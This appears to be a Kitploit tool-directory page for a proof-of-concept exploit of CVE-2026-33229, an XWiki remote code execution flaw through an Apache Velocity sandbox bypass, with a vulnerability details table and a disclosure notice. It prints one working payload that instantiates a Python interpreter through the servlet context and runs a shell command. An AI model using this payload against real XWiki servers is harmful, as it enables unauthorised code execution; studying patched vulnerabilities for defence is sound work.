Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33229 — Proof-of-concept exploit for CVE-2026-33229, an XWiki RCE via Apache Velocity sandbox bypass, with technical details and a working payload. | Kitploit
Tools/GitHubGitHub/azefzafyoussef/cve-2026-33229
Vulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubazefzafyoussef/cve-2026-33229

CVE-2026-33229

Proof-of-concept exploit for CVE-2026-33229, an XWiki RCE via Apache Velocity sandbox bypass, with technical details and a working payload.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33229 — XWiki RCE via Apache Velocity Sandbox Bypass

CVE Severity Status

A Remote Code Execution vulnerability in XWiki Platform that allows an authenticated user with scripting permissions to bypass the Apache Velocity sandbox entirely — no Java Reflection required — by traversing pre-instantiated objects already present in the Velocity context.

📄 Full technical details: youssefazefzaf.com/posts/cve


Details

FieldValue
CVE IDCVE-2026-33229
Affected productXWiki Platform
ComponentVelocity macro renderer, page title parameter
Required privilegesAuthenticated + Script permission
ImpactRemote Code Execution
GHSAGHSA-h259-74h5-4rh9
Discovered7 November 2025
Patched10 December 2025
Disclosed8 April 2026

Proof of Concept

root@kitploit:~
$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')") 

Responsible disclosure notice: PoC published after patch availability. Do not use against systems you do not own.

Download Tool